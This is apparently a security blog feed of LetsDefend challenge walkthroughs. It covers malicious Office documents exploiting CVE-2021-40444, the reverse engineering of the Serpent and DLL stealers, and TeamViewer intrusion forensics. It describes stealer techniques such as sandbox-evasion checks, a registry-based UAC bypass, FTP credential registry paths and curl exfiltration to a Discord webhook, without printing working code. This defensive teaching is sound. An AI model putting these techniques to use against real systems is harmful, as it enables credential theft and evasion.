While we could use something like CyberChef to perform some decoding/transformation, let’s stick with the provided utilities and use another of Didier Stevens’ tools — Numbers-to-String.py

numbers-to-string.py is a Python program that reads texts files (as arguments on the commandline, @here files or stdin), extract numbers from these files and converts these to strings. The first argument of numbers-to-string.py is a Python expression. This Python expression can use variable n that represents each extracted number.

This should allow us to dump the content of this stream and pipe it into numbers-to-strings to perform the conversion for us.

python3 zipdump.py /root/Desktop/ChallengeFiles/Work_From_Home_Survey.doc -s 10 -d | python3 numbers-to-string.py

There we go! By doing some research and combining two of the included tools, we’ve uncovered a malicious domain within the .doc file!

Question 4: Examing the income_tax_and_benefit_return_2021.docx, what is the malicious domain in the docx file?

For Question 4, we’re looking for a malicious domain again, so let’s circle back and apply the same process that we used to answer Question 2.

Except instead of using the domaintld option like we used before, let’s see if we get any hits using the url-domain option.

python3 zipdump.py -D /root/Desktop/ChallengeFiles/income_tax_and_benefit_return_2021.docx | python3 re-search.py -n -u url-domain

Hey, we found one unique URL in the output! Let’s check it against VirusTotal to see if we can find any hits to confirm if this is a malicious domain or not to confirm our finding.

We have a few hits, but we’ll go a step further and check the Relations > Communicating Files tab, where we will see several file hits including one that looks very familiar…

Let’s submit our answer and move on to the final question to determine what common vulnerability all of the sample files exploit.

Question 5: What is the vulnerability the above files exploited?

Okay, last question! To tackle Question 5, we’ll check the file hash of each sample to collect more information from VirusTotal and discover the common vulnerability that each malicious document exploits.

First, to get the hashes, we’ll run the SHA256sum command for all the files in the ChallengeFile directory:

sha256sum *

Then, we can submit each of the hashes to VirusTotal.

https://www.virustotal.com/gui/file/679bbe0c50754853978a3a583505ebb99bce720cf26a6aaf8be06cd879701ff1

https://www.virustotal.com/gui/file/ed2b9e22aef3e545814519151528b2d11a5e73d1b2119c067e672b653ab6855a

https://www.virustotal.com/gui/file/84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69

https://www.virustotal.com/gui/file/d0e1f97dbe2d0af9342e64d460527b088d85f96d38b1d1d4aa610c0987dca745

Did you notice that each one is tagged with the label CVE-2021€“40444? I think we have found the answer, but let’s do some additional research about this vulnerability from Microsoft which describes it as:

A remote code execution vulnerability in MSHTML that affects Microsoft Windows. Microsoft is aware of targeted attacks that attempt to exploit this vulnerability by using specially-crafted Microsoft Office documents.

An attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document.

While this is just a brief summary, we get the idea that the samples we’ve analyzed are Microsoft Office documents specially-crafted to exploit a Windows MSHTML vulnerability. Between the intelligence we gathered from VirusTotal and the CVE details from Microsoft, we have enough data to answer Question 5!

Conclusion:

Mission accomplished! We’ve successfully analyzed each of the four maldoc samples, found the IP addresses and domains within them, and used those artifacts to figure out which CVE was exploited. Let’s wrap up this investigation.

A big thank you to LetsDefend for another excellent challenge! While I’ve used Didier Stevens tools before, I hadn’t had the opportunity to try re-search or numbers-to-string. These tools really helped to speed up the investigation since I didn’t have to pivot to external tools, and they were powerful for parsing the zipdump output. This was a great opportunity to practice with these tools hands-on!

If you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

SANS Cheat Sheet for Analyzing Malicious Documents: https://www.sans.org/posters/cheat-sheet-for-analyzing-malicious-documents/

Didier Stevens (Zipdump.py): https://github.com/DidierStevens/DidierStevensSuite/blob/master/zipdump.py

Didier Stevens (re-search.py): https://blog.didierstevens.com/2021/02/22/re-search-py-and-custom-validations/

VirusTotal: https://www.virustotal.com/gui/ip-address/175.24.190.249/relations

Open Office XML Reference: http://officeopenxml.com/anatomyofOOXML.php

Didier Stevens (Numbers-to-Strings): https://github.com/DidierStevens/DidierStevensSuite/blob/master/numbers-to-string.py

VirusTotal (Employee_W2_Form.docx): https://www.virustotal.com/gui/file/679bbe0c50754853978a3a583505ebb99bce720cf26a6aaf8be06cd879701ff1

VirusTotal (Employees_Contact_Audit_Oct_2021.docx): https://www.virustotal.com/gui/file/ed2b9e22aef3e545814519151528b2d11a5e73d1b2119c067e672b653ab6855a

VirusTotal (Work_From_Home_Survey.doc): https://www.virustotal.com/gui/file/84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69

VirusTotal (income_tax_and_benefit_return_2021.docx): https://www.virustotal.com/gui/file/d0e1f97dbe2d0af9342e64d460527b088d85f96d38b1d1d4aa610c0987dca745

Microsoft MSHTML Remote Code Execution Vulnerability: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444

LetsDefend — Serpent Stealer Challenge Walkthrough

Sun, 28 Jul 2024 00:00:00 +0000

LetsDefend — Serpent Stealer Challenge Walkthrough

Analyzing the Serpent Stealer Malware with DIE, dotPeek, and MITRE ATT&CK

Image Credit: https://app.letsdefend.io/challenge/serpent-stealer

Introduction:

Have you ever wanted to reverse engineer an info stealer malware sample, see how it works, and determine its capabilities to impact a victim? If this topic sounds interesting to you, you’ve stumbled on the right blog!

Welcome to my weekly walkthrough where we are going to cover the Serpent Stealer Challenge from LetsDefend! This is a medium-difficulty malware reverse engineering challenge where we’ll be using JetBrains dotPeek to analyze the provided information stealer malware sample. By digging into this malware’s code, we’ll determine its capabilities, how it evades detection, and what data it targets — fun stuff!

Although malware reverse engineering isn’t my strongest skill, I recently tackled a similar challenge from LetsDefend, so as the old saying goes, practice makes perfect! We might stumble along the way through this one, but we’ll adapt and learn some new tricks together.

LetsDefend — DLL Stealer Challenge Walkthrough

Now let’s grab our shovels and have some fun digging through this malware. Thanks for reading along!

Challenge Link: https://app.letsdefend.io/challenge/serpent-stealer

Challenge Scenario:

Located in the heart of the financial district, a leading multinational company was hit by a sophisticated data theft. Over several months, confidential customer data, proprietary software, and sensitive financial information were stolen. The company’s cybersecurity team recently discovered that a " # "

stealer" malware was responsible for the breach. They are analyzing the stealer and trying to protect the company from future attacks.

Question 1: What is the md5 hash for the malware?

Let’s jump right in and connect to the provided virtual machine and extract the challenge file archive within the Challenge File folder.

In the meantime, it’s also a good idea to get familiar with the provided tools so that we have some idea of what’s available to tackle the challenge. Let’s review the Tools folder on the Desktop. Right away, we’ll see several available disassemblers, debuggers, and decompilers which will be helpful to dig into the provided malware sample.

But for our first task, we simply need to get the MD5 file hash of the sample so that we can start learning about this stealer malware. There are a couple of ways we can approach this, but for this walkthrough I am going to just use PowerShell — if you have another method you like, go for it! The important thing is that we get the MD5 hash:

Get-FileHash -Algorithm MD5 .\sample

Now that we have the file hash of this sample, we can answer Question 1! But for some additional intelligence, why don’t we also check this hash against VirusTotal to see if there are any hits?

VirusTotal VirusTotalwww.virustotal.com

All right, this is a well-known malware sample which might be helpful later in our investigation. For now, let’s keep going and see what else we can uncover.

Question 2: What is the name of the list the malware uses to evade detection by the VirusTotal check?

To answer Question 2, we need to first figure out the best tool to use to analyze the malware. But before we do that, we need to understand what type of file the sample is. To do this, let’s gather some information using Detect It Easy (DIE) which is a utility that can be used to determine the file type of an application.

To put this into practice, let’s point DIE to the path of the _c_hallenge’s malware sample:

Here we will see that the sample binary is a .NET portable executable (PE32). Since we now know that it is a .NET binary, we can select the right tool to disassemble the executable and start to answer Question 2.

As I hinted at in the introduction, we’re going to leverage JetBrains dotPeek which is already installed on the LetsDefend VM we’re using.

dotPeek is a free .NET decompiler and assembly browser. The main idea behind dotPeek is to make high-quality decompiling available to everyone in the .NET community, free of charge.

Get started | dotPeek _dotPeek is available for download in two distributions: as a part of dotUltimate installer and as portable versions for…_www.jetbrains.com

Now, let’s jump into dotPeek and start to analyze the malware. To do this, open the Challenge File folder, right-click the extracted sample, and select " # "

Open With > JetBrains dotPeek."

This will launch dotPeek and load the challenge file. Don’t worry, it will take a few minutes to load the assembly explorer, but when it does, expand the node called Serpent.

We’ll see that the assembly objects contained within Serpent are both organized and non-obfuscated which is going to speed up our analysis. Since we are looking for a defense evasion technique, let’s try expanding the Evasion object and focus on the AntiVT class.

VirusTotal evasion list.

Here we see that the malware does an environment check (T1497.001) to detect if it is being analyzed on VirusTotal by comparing the user name of the victim’s system to a stored list containing common user names used by VirusTotal during analysis. If any of the strings match, the malware sleeps and exits to avoid further detection.

Circling back to the objective, the name of the list containing these strings is what we’ll need to answer Question 2.

Question 3: What is the name of the folder that was used by the malware to collect the password on it?

Now let’s expand the modules object and expand the conveniently labelled PasswordStealer method. To answer Question 3, we will focus on the Run method within the PasswordStealer:

Looking closely at this method, we’ll discover that the malware creates a centralized folder called " # “serpent"in the temporary directory of the victim’s system for staging the data it collects (T1074.001.)

Question 4: What is the first command that the malware uses to bypass the User Account Control (UAC)?

Okay, now we are going to examine some of the mechanisms that the malware uses for privilege escalation. Let’s return to the Evasion object and focus on the UAC class.

To understand what the malware is doing, we first need to understand what User Account Control (UAC) in Windows is_._ According to Microsoft Learn:

User Account Control (UAC) is a Windows security feature designed to protect the operating system from unauthorized changes. When changes to the system require administrator-level permission, UAC notifies the user, giving the opportunity to approve or deny the change.

In other words, UAC helps prevent unauthorized, administrator-level changes on a system by notifying users of the request and requiring approval to proceed, typically by supplying administrative credentials.

Let’s look at the first bypass string (psCMD1) in the UAC class. This command creates a new registry key which can be abused to bypass UAC (T1548.002) — it is also the answer to Question 4.

Once you copy the string out, it’s a little tricky as the format of the double quotation marks doesn’t transfer over the VNC clipboard. Instead, on a US keyboard, I used the ALT codes for double quotation marks Alt 0147 to open, Alt 0148 to close the path.

Question 5: How many file extensions does the malware target?

Next, let’s analyze what file extensions this stealer targets so that we can understand the impact to a victim’s system.

To locate this information, we’ll navigate back to Modules > FileStealer function > SupportedExtensions string and focus on the below lines of code:

This will take us directly to the location we need to discover which extensions are targeted by the malware. Let’s submit our findings and move forward with the investigation.

Question 6: What is the first process listed in the blacklisted processes used by the malware?

Back to the Evasion object! This time, we’re going to and check the AntiAV class and look at the blackListedProcesses string.

The malware is doing another system check for indicators that it is executed in an analysis environment by looking for processes common in malware analysis sandboxes like virtualization/analysis tool processes. This technique is another example of the malware attempting be stealthy and evade detection (T1497.001.)

To answer Question 6, we just need to input the first process name in the stealer’s blackListedProcesses list.

Question 7: What is the last wallet name that is targeted by the malware on the list?

To answer Question 7, we’re going to search for the crypto wallets that the stealer targets.

This will be largely the same process that we have followed for the last couple of questions. We’ll navigate back to the Modules, and look at the Run method of the Wallets tab.

Here, we’ll see a list of the specific crypto wallet services that are targeted by the malware. We can just input last wallet name on the list for the answer and then we’ll move on to the final question of this challenge!

Question 8: After getting the current user, what is the subkey used by the malware to dump FTP credentials?

We’ve made it to the last question! Now, to discover the answer to Question 8, we’ll check the Run method under FTPStealer, in the Root Namespace.

Take a look at the first couple of strings under the Run method:

We see that the malware is targeting a Windows Registry hive HKCU\Software\Microsoft\FTP where the Credentials key stores FTP credentials, if they are cached on the victim device (T1552.002.)

Okay, there we have it! Now that we have determined Registry key that the FTPStealer function targets, let’s submit our answer and wrap up this investigation.

Conclusion:

Mission accomplished! We have finished our analysis of the Serpent Stealer malware, learned how it evades detection, elevates privileges, and what victim data it targets. With the listed objectives completed, it’s time to close out this walkthrough of the Serpent Stealer challenge!

A big thank you to LetsDefend for another fun challenge! I chose this challenge for two reasons: To keep upskilling in malware reverse engineering and to get more familiar with how information stealer malware works. I appreciated the opportunity to jump back into dotPeek and have more hands-on time with the tool. As information stealers become a bigger and more common threat, it’s equally important to me to peek into stealer functionality for insights on how to better defend against them. Like I said in the introduction, practice makes perfect; so thank you for practicing your reverse engineering skills with me. I hope you learned something and had some fun along the way!

Until next week — stay curious.

Tools & References:

JetBrains dotPeek: https://www.jetbrains.com/decompiler/

VirusTotal: https://www.virustotal.com/gui/file/c4f981f1f532ec827032775c88a45f1b4153c3d27885f189654ad6ee85c709c1/details

Detect It Easy: https://github.com/horsicq/Detect-It-Easy

MITRE ATT&CK (T1497.001 — Virtualization/Sandbox Evasions: System Checks): https://attack.mitre.org/techniques/T1497/001/

MITRE ATT&CK (T1074.001 — Data Staged: Local Data Staging): https://attack.mitre.org/techniques/T1074/001/

Microsoft Learn (UAC): https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/

MITRE ATT&CK (T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control): https://attack.mitre.org/techniques/T1548/002/

MITRE ATT&CK (T1552.002 — Unsecured Credentials: Credentials in Registry): https://attack.mitre.org/techniques/T1552/002/

LetsDefend — TeamViewer Forensics Challenge Walkthrough

Sun, 21 Jul 2024 00:00:00 +0000

LetsDefend — TeamViewer Forensics Challenge Walkthrough

Endpoint Forensic Investigation using the TeamViewer Logs and MFTECmd

Image Credit: https://app.letsdefend.io/challenge/teamviewer-forensics

Introduction:

Have you ever read a story in the news about a cyber-attack where the bad guys used remote monitoring and management (RMM) software like TeamViewer and wondered how you would investigate unauthorized access if that happened to you? If this topic sounds interesting to you, you’ve stumbled on the right blog!

Welcome to my weekly walkthrough! This blog is a walkthrough of the Team Viewer Forensics challenge from LetsDefend! Team Viewer Forensics is a medium-difficulty DFIR challenge that has us defenders investigating a victim’s TeamViewer log files and then leveraging Eric Zimmerman’s MFTECmd utility to examine the actions taken by the attacker after they gained initial access to the system. By analyzing the artifacts of the file system, we’re going to determine when and how the attacker accessed the system and what they took — fun stuff!

Now let’s put on our detective hats and have some fun with TeamViewer forensics. Thanks for reading along!

Challenge Link: https://app.letsdefend.io/challenge/teamviewer-forensics

Challenge Scenario:

During a workday, an employee noticed strange unauthorized activity on his computer, with applications opening and the mouse moving. Quickly realizing that someone was remotely accessing his machine via TeamViewer, the employee acted quickly, changing his TeamViewer password and alerting the security team. However, the employee must still clarify how the breach occurred and how far the threat actor has gone. Your challenge is to unravel this mystery and discover how the intruder gained access and what they did.

Question 1 & 2:

What is the intruder’s username?

&

What is the " # "

user ID" associated with the intruder’s username?

Okay, before we jump into the analysis, let’s ensure that our environment is ready and extract the challenge file from the 7z archive. We’ll see that this is the file structure of the primary (C:) drive from the victim’s device.

Since we know that the victim saw some suspicious activity from the remote monitoring and management application, TeamViewer, let’s start off by looking at the log files generated by this app.

We’ll start by doing some research on the vendor’s support site to determine the locations of the logs:

Find your log files _This article applies to all TeamViewer customers. Sometimes you may be asked to locate your TeamViewer log files and…_www.teamviewer.com

According to TeamViewer log files are available in the C:\Program Files\TeamViewer directory. Let’s navigate to the following path in the challenge file: C\Program Files\TeamViewer

The first log we want to review is the basic " # “Connections_incoming.txt.“Let’s just open this file up in Notepad for analysis.

Awesome! While this is a basic incoming connections log, it contains some valuable information for our investigation — I’ll highlight the relevant columns we’ll need.

The first column is the TeamViewer user ID of the incoming agent connection.
The second column is the username of the incoming connection.
Columns 3€“4 are the start & end times of the connected session.

So, with this information, we can answer Question 1 & 2!

Pro Tip: It’s best to copy and paste the username using the LetsDefend Virtual Machine VNC clipboard. If you’re anything like me, you’ll mix up one and L in the username.

Question 1 — Answered

Question 2 — Answered

Question 3: The attacker has joined more than one time. When did the intruder first access the victim’s machine?

The Connections_incoming.txt log file shows us two different connections. Question 3 seems pretty straightforward to confirm, except for one little detail…

Look at the required answer format for this question:

(yyyy-MM-dd HH:mm:ss.SSS)

This log file doesn’t provide enough information to answer this question, does it? All hope is not lost, though. According to TeamViewer, there is a second logfile called “TeamViewerXX_Logfile.log"Going through the victim’s TeamViewer directory, we’ll stumble on this second log file, " # “TeamViewer15_Logfile.log” —_ this log is much more detailed and contains the technical information we’re looking for.

Let’s open it and do a simple search for the attacker’s user ID that we discovered in Question 2 — this will help us locate the accurate first incoming session timestamp down to the millisecond:

There we go! We found an even more accurate connection time than was available in the Connections_incoming log.

But keep in mind that the challenge wants the timestamp for the incoming session line, not the session encryption negotiation where we see the ID number…

Question 4: What is the " # "

session ID” of the intruder’s second access to the computer?

Now, let’s investigate some information about a second time the victim’s device was accessed. Remember, from the Connections_incoming log we have a rough idea of when the second access attempt was — 04:35:03.

This gives us an idea of where in the logs that we need to search, so let’s keep looking through TeamViewer15_Logfile.log to see what we can find.

Scroll down to in the logs until we find the timestamps for 04:35:03. Once there, look for the connection incoming reference and the sessionID assigned to the new, second session!

Question 5: What was the duration of the second session in seconds.milliseconds?

Now that we have located the sessionID for the second connection in the previous question, we have also found the exact timestamp when the session was established. This gets us halfway to the answer! We’ll just need to find the end of the session to determine how long the attacker was active on the victim’s system.

Again, we have an idea of when the session ended based on what we saw in the Connections_incoming log, but we need to find the session termination event in the TeamViewer15_Logfile.log to get the exact session duration down to the milliseconds.

Going through the logs, we’ll stumble upon a SessionTerminate entry but instead of using the timestamp from this line, let’s go ahead and search for the second session ID, and locate the very last event with this session ID.

This should be the event we are looking for to determine the absolute end time.

The final event for session ID 536169703

Now that we have both the start and end time stamp, it’s time for some math! To recap, the first activity timestamp is 04:35:03.631 and the last activity timestamp is 04:45:11:202.

I’m not a numbers guy, so let’s shift the workload to a date/time calculator to get the results.

Subtract Time Calculator _The Subtract Time Calculator is a useful tool to obtain the mathematical difference when you subtract a time from…_datetimecalculator.net

We’re so close! The last step is to convert this to the answer format for the question: seconds.milliseconds.

So, we just need to convert 10 minutes, 7 seconds to seconds which equals 607. Now put that together with the milliseconds from the calculator and, voila! We have our answer!

Question 6: What is the IP address of the server to which the intruder exfiltrated data?

Okay, now we’ve hit a little dead end — there is no evidence of file exfiltration in the TeamViewer logs. So, we’ll need to pivot and direct our search elsewhere.

Why don’t we start with a review of the PowerShell command history file to see if we can locate any commands the attacker may have run through PowerShell?

about History - PowerShell _Describes how to get and run commands in the command history._learn.microsoft.com

To locate the PowerShell command history log, we’ll need to navigate to the following path within the challenge file:

C\Users\mmox\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Very interesting! We’ve stumbled on some evidence of the attacker’s next moves — archive collected data (T1560) from the Confidential folder into a ZIP file (output.zip) and then two different methods of data exfiltration through web requests to the attacker’s server IP address (T1048)!

Now that we’ve uncovered some of the attacker’s infrastructure, let’s start to evaluate the impact of the attacker’s actions.

Question 7: How many files did the intruder exfiltrate?

From the previous question, we learned that the attacker created an archive of a folder labeled " # “Confidential"but there is no trace of this directory in the challenge file, is there?

So, what can we do to find it? Let’s use the question hint to give us some ideas.

Let’s do some research and learn more about the Journal on an NTFS volume. Below is an excerpt from Velociraptor (another DFIR tool) explaining the USN Journal:

By default Windows maintains a journal of filesystem activities in a file called $Extend$UsnJrnl in a special data stream called $J. This stream contains records of filesystem operations, primarily to allow backup applications visibility into the files that have been changed since the last time a backup was run.

Okay, so if we can access the USN Journal of the victim’s device, we might be able to parse and extract some information about the Confidential directory and the files within it.

To do this, we’ll use Eric Zimmerman’s MFTECmd which is part of the Tools folder already in the LetsDefend analysis machine. After we check out the help options, we’ll learn the below syntax to use this utility. Since we are pointing to the $J (journal) file, we’ll also provide the path to the $MFT so we can resolve the parent path as suggested by the help file.

MFTECmd.exe -f “C:\Users\LetsDefend\Desktop\ChallengeFile\C$Extend$J” -m “C:\Users\LetsDefend\Desktop\ChallengeFile\C$MFT” –csv C:\Users\LetsDefend\Desktop<name-of-output>.csv

After the utility parses the two files we pointed to and generates the output CSVs, let’s locate the $J_Output.csv. To simplify the analysis, let’s use another of Eric Zimmerman’s installed tools_, Timeline Explorer,_ to open the file.

Since we know from Question 6 that we’re searching for a folder called Confidential, let’s use the search box and type the keyword " # “Confidential.”

Okay, we located the directory with a parent path of \Users\mmox\Documents. So, now we need to discover the files contained within the folder to determine what data was stolen. To accomplish this, take notice of the " # “Entry Number"column that has the number 35740 and copy that value.

Next, we want to remove the keyword filter to see all results, scroll over to the column called " # “Parent Entry Number,“and paste the entry number 35740 into the column. This will filter all entries with the same parent, in this case the " # “Confidential"folder.

We see several entries with intriguing file names but there are also several other entries too with a different path than these files. So, what we are going to do is add a filter by the parent path column of the " # "

secret” files:

And finally, filter the Update Reasons column for FileCreate events. This will leave us with three files from the Confidential folder and filtered only by file creation events! Whew!

After using MFTECmd to parse the USN Journal ($J) file of the victim’s machine, we have determined that the Confidential folder contained three sensitive files that were archived and exfiltrated to the attacker’s infrastructure.

Question 8: When did the intruder delete the confidential data from the system?

Okay, last question for this investigation. After the attacker collected and exfiltrated the data, they deleted the original files from the victim’s system.

To discover when this event occurred, we’ll make a simple change the Timeline Explorer filter from Update Reasons > FileCreate to Update Reasons > File Delete|Close.

This will change our view from when the three confidential files were created to when they were deleted. Now that we have figured out when the files were deleted, we can wrap this investigation!

Conclusion:

Mission accomplished! We have finished our analysis of the TeamViewer connection logs_,_ learned when the attacker connected to the victim’s workstation, and discovered what data was stolen. It’s time to close out this walkthrough of the Team Viewer Forensics challenge!

A big thank you to LetsDefend for this awesome challenge — this was a really exciting lab to work through. I chose this challenge because TeamViewer is such a popular remote monitoring and managing tool and it is really valuable for me to get some hands-on experience analyzing the TeamViewer logs to understand what information they contain. The even cooler part about this challenge was the unexpected pivot to using _MFTECmd t_o analyze the USN Journal. Prior to this challenge, I didn’t know that this file existed and also hadn’t used the MFTECmd utility from Eric Zimmerman’s tools — this was a great introduction to both! While I’m sure this was a basic use case for using MFTECmd, I am really interested in learning more about what forensic artifacts can be uncovered within the journal.

Until next week — stay curious.

Tools & References:

TeamViewer Log Locations: https://www.teamviewer.com/en-us/global/support/knowledge-base/teamviewer-classic/contact-support/find-your-log-files/

Eric Zimmerman’s Tools: https://ericzimmerman.github.io/#!index.md

Date Time Calculator: https://datetimecalculator.net/subtract-time-calculator

Microsoft Learn (PSReadline): https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.4

Velociraptor Blog: The Windows USN Journal :: Velociraptor — Digging deeper!

Wikipedia (USN Journal): https://en.wikipedia.org/wiki/USN_Journal#:~:text=The%20USN%20Journal%20(Update%20Sequence,changes%20made%20to%20the%20volume.

LetsDefend — DLL Stealer Challenge Walkthrough

Sun, 14 Jul 2024 00:00:00 +0000

LetsDefend — DLL Stealer Challenge Walkthrough

Analyzing DLL Stealer Malware with dotPeek and MITRE ATT&CK

Image Credit: https://app.letsdefend.io/challenge/dll-stealer

Introduction:

Have you ever wanted to try to reverse engineer an info stealer malware sample, see how it works, and determine how it could impact its victim? If this sounds interesting to you, you’ve stumbled on the right blog! Stick around for my weekly walkthrough where we’re going to take on the DLL Stealer challenge from LetsDefend!

DLL Stealer is an introductory malware reverse engineering challenge that has us using JetBrains dotPeek to decompile and analyze an information stealer malware sample. By analyzing the malware, we’re going to determine its capabilities, what data it tries to steal, and how it exfiltrates the information — fun stuff!

To set the stage, malware reverse engineering is not my strongest skill, but practice makes perfect, so we will stumble through this one together and build up our knowledge along the way. That being said, I won’t have as many real-world application tips this time around so instead I’m providing plenty of reference links to MITRE ATT&CK to add some additional context about the tactics, techniques, and procedures (TTPs) used by the malware.

Now let’s put on our detective hats and have some fun with forensics. Thanks for reading along!

Challenge Link: https://app.letsdefend.io/challenge/dll-stealer

Challenge Scenario:

You work as a cybersecurity analyst for a major corporation. Recently, your company’s security team detected some suspicious activity on the network. It appears that a new DLL Stealer malware has infiltrated your system, and it’s causing concern due to its ability to exfiltrate critical DLL files from your system.

Question 1: What is the DLL that has the stealer code?

Let’s jump right in and connect to the provided virtual machine and extract the challenge file archive within the ChallengeFile folder.

Typically, it’s a good idea to get familiar with the provided tools so that we have some idea of what’s available to tackle the challenge. Let’s review the Tools folder on the Desktop. Right away, we’ll see several available disassemblers, debuggers, and decompilers which will be helpful to dig into the provided malware sample.

Overview of the Tools folder.

However, since reverse engineering is not my strong suit, we’ll look at question hint as a jumping-off point:

Awesome! This will be my first time using dotPeek. Let’s take a moment to check out the project’s website to understand what it is and take a quick look at the documentation available.

dotPeek is a free .NET decompiler and assembly browser. The main idea behind dotPeek is to make high-quality decompiling available to everyone in the .NET community, free of charge.

Get started | dotPeek _dotPeek is available for download in two distributions: as a part of dotUltimate installer and as portable versions for…_www.jetbrains.com

Cool, now that we have done a little research, let’s jump into dotPeek and start the investigation. Open the ChallengeFile folder, right-click the extracted sample, and select " # "

Open With > JetBrains dotPeek."

This will launch dotPeek and load the file. Don’t worry, it will take a few minutes to load the assembly explorer, but when it does, expand the node (the one with the sample name) so that we can see the two DLL files contained within the executable:

Colorful
Test-Anitnazim.

Since we need to find the name of the specific DLL that contains the info stealer code, we’ll just start at the top of the list and expand the Colorful node so that we can peek into all the assemblies. We’ll see a few different functions that we need to look through to see if we can discover any malicious code.

After a brief scan of the code, we’ll see evidence of suspicious data staging (T1074.001) and collection (T1005) activity targeting common directories of interest for info stealers like web browser databases, cryptocurrency wallet addresses, online gaming platforms, social media accounts, etc.

Sus.

Scrolling even further to the end of the code, we even see some evidence of data exfiltration (T1048) with the curl command to send the data.

We’ll stop here for now. This is enough evidence to determine that we discovered the DLL that contains the stealer code. Let’s submit our findings to answer Question 1.

Question 2: What is the anti-analysis method used by the malware?

Sometimes, malware performs checks to see if it is being executed in virtual or sandbox environments and will adjust its behavior or terminate to avoid detection by analysts. Question 2 suggests that there is some anti-analysis mechanism our sample, so let’s see if we can find it!

We’ll go back into the assembly explorer in dotPeek, check out the IsVirusTotal(): bool under the C_olorful_ function, and examine the code.

Let’s focus on these interesting lines of code:

It seems that the program tries to detect if it is being analyzed by VirusTotal by using a series of system checks for unique values typically used by the VirusTotal analysis engines during automated scanning including: username, machine name, and download location.

Then, it looks for a true or false value (Boolean) — if the application returns true, the program has determined that is being analyzed by VirusTotal and then the program then ends to evade further analysis.

This is an example of a defense evasion tactic that we touched on earlier (T1497.001) where, according to MITRE ATT&CK:

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.

All of that said, since the program seems to check if it is being analyzed by VirusTotal, I think we’ve found the anti-analysis method we are looking for to answer Question 2!

Question 3: What is the full command used to gather information from the system into the " # "

productkey.txt" file?

Now, let’s search the code and see if we can analyze some specific capabilities of the stealer functions. We are going to search for the command that the malware uses to enumerate and collect the victim’s Windows product key.

Fortunately, this is pretty straightforward, and we can simply use the find feature (CTRL+F) in dotPeek to search for the keyword " # “productkey.txt.”

Taking a closer look at the command, this is using the Windows Management Instrumentation Command Line (WMIC) to query the software licensing class for the value containing the Windows product key.

Question 4: What is the full command used to gather information through the " # "

ips.txt" file?

We’ll approach Question 4 the same way we approached the previous question except this time, we will search for “ips.txt.“This will help us locate the output file so that we can see the preceding command.

Once we locate the ips.txt file, we can see that the IP addresses were enumerated through the ipconfig /all command (T1016).

Question 5: What is the webhook used by the malware?

Okay, last question! Remember back in Question 1 that we found some evidence of data being staged for exfiltration? Let’s revisit those lines of code. To speed this process up, let’s leverage dotPeek’s find function again and search for “webhook"to take us to the right location.

This will show us the correct webhook URL to answer Question 5! But, let’s take a moment to understand how this works by referencing MITRE ATT&CK for more context of this technique (T1567.004).

Exfiltration Over Web Service: Exfiltration Over Webhook _Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel…_attack.mitre.org

Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.[1] Many public and commercial services, such as Discord, Slack, and webhook.site, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.

To summarize this in the context of this info stealer, after the malware collects the data, it is exfiltrated using curl to send data to the attacker’s Discord server by leveraging Discord’s webhook functionality_._

Now that we have determined the webhook URL, let’s submit the answer and wrap up this investigation!

Conclusion:

There we have it! We have finished our analysis of the DLL Stealer malware, uncovered its functionality, anti-analysis method, targeted data, and the exfiltration method. It’s time for the postmortem report and to close out this walkthrough of the DLL Stealer challenge!

A big thank you to LetsDefend for this awesome challenge! This lab was a fun opportunity to level-up my reverse engineering skills and introduce me to the dotPeek tool. I appreciate that this challenge was on the shorter side but got me really interested in analyzing and interpreting the malware sample. By referencing MITRE ATT&CK throughout this walkthrough I was able to really dive in, engage with, and understand the challenge beyond the required questions. I hope that you found it valuable and had as much fun as I did learning something new, too!

And hey, if you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!

Until next week — stay curious.

Tools & References:

JetBrains dotPeek: https://www.jetbrains.com/help/decompiler/dotPeek_Introduction.html

MITRE ATT&CK (T1074.001 — Data Staged: Local Data Staging): https://attack.mitre.org/techniques/T1074/001/

MITRE ATT&CK (T1005 — Data from Local System): https://attack.mitre.org/techniques/T1005/

MITRE ATT&CK (T1048 — Exfiltration Over Alternative Protocol): https://attack.mitre.org/techniques/T1048/

curl: https://curl.se/docs/manpage.html

VirusTotal: https://www.virustotal.com/

Wikipedia — Boolean Definition: https://en.wikipedia.org/wiki/Boolean_data_type

MITRE ATT&CK (T1497.001 — Virtualization/Sandbox Evasions: System Checks): https://attack.mitre.org/techniques/T1497/001/

MITRE ATT&CK (T1016 — System Network Configuration Discovery): https://attack.mitre.org/techniques/T1016/

MITRE ATT&CK (T1567.004 Exfiltration Over Web Service: Exfiltration Over Webhook): https://attack.mitre.org/techniques/T1567/004/

LetsDefend — Chrome Extension Challenge Walkthrough

Sun, 02 Jun 2024 00:00:00 +0000

LetsDefend — Chrome Extension Challenge Walkthrough

Investigating a Malicious Chrome Extension with DB Browser for SQLite

Image Credit: https://app.letsdefend.io/challenge/malicious-chrome-extension

Introduction:

Welcome to my weekly walkthrough!

Have you ever wondered how a malicious Google Chrome extension could be abused, creating a privacy risk for a user? Well we’re about to investigate exactly how this can happen by working through the Malicious Chrome Extension challenge over on LetsDefend!

